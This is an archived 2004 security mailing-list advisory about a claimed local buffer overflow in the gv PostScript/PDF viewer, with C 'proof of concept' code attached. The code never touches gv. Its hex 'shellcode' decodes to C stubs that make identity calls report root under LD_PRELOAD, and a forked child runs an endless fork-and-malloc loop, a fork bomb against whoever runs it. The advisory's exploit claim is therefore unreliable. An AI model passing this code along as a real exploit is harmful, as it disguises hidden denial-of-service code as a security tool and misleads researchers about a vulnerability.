[EXPL] gv Local Buffer Overflow( Exploit Code Included )

From: SecuriTeam (support_at_securiteam.com)
Date: 08/04/04

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Date: 4 Aug 2004 23:33:39 +0200

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      gv Local Buffer Overflow( Exploit Code Included )
    ------------------------------------------------------------------------

    SUMMARY

    gv allows to view and navigate through PostScript and PDF documents on an
    X display by providing a user interface for the ghostscript interpreter.

    gv contains a buffer overflow which can be exploited locally by an
    attacker.

    DETAILS

    Vulnerable Systems:
     * gv 3.5.8 and prior

    The gv program that is shipped on many Unix systems contains a buffer
    overflow which can be exploited by an attacker sending a malformed
    postscript or Adobe pdf file. The attacker would be able to cause
    arbitrary code to run with the privileges of the victim on his Linux
    computer.

    In order to perform exploitation, an attacker would have to trick a user
    into viewing a malformed PDF or PostScript file from the command

    Proof Of Concept:
    /* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
     *
     * INFOHACKING RESEARCH - L337 h4x0r t34M
     *
     * hugo <hugo@infohacking.com>
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    char hellc0de[] =
    "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
                            
    "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"
                            
    "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"
                            
    "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"
                            
    "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"
                            
    "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
                            "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";

    int main()
    {
            FILE *fp;
            char *offset;
            fp=fopen("/tmp/own.c","w");
            fprintf(fp,"%s",hellc0de);
            fclose(fp);

            system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c");
            if (fork() == 0) {
            sleep(10); while (1) { fork(); offset=malloc(512); }
                    exit(0);
            }
            system("LD_PRELOAD=/tmp/own.so /bin/sh");
            return 0;
    }
    /* -EOF- */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:infohacking@hush.com> Hugo
    Vazquez Carapez.

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